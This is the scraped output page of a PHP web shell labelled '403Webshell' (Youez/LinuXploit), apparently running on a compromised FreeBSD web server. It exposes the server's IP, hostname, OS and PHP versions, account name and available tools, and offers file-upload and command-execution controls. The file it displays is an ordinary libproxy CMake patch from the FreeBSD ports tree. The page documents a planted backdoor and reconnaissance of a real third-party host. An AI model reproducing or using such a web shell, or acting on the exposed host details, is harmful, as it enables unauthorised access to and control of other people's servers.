403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/net/libproxy/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/net/libproxy/files/patch-libproxy_cmake_pxmodule.cmk
As the library is only built in the master port, and therfore missing in the
build directory for the slave ports, find it via pkg-config and link against it,
when building a slave.

--- libproxy/cmake/pxmodule.cmk.orig	2017-05-11 09:33:33 UTC
+++ libproxy/cmake/pxmodule.cmk
@@ -18,7 +18,12 @@ function(px_module name build builtin)
       set(built "m")
       set_property(SOURCE modules/${name}.cpp PROPERTY COMPILE_DEFINITIONS LIBEXECDIR="${LIBEXECDIR}")
       add_library(${name} MODULE modules/${name}.cpp)
-      target_link_libraries(${name} libproxy)
+      link_directories(${CMAKE_INSTALL_PREFIX}/lib)
+      if (WITH_LIBRARY)
+          target_link_libraries(${name} proxy)
+      else ()
+          target_link_libraries(${name} PkgConfig::LIBPROXY)
+      endif ()
       set_target_properties(${name} PROPERTIES PREFIX "")
       install(TARGETS ${name} LIBRARY DESTINATION ${MODULE_INSTALL_DIR})
       if(${ARGC} GREATER 3)

Youez - 2016 - github.com/yon3zu
LinuXploit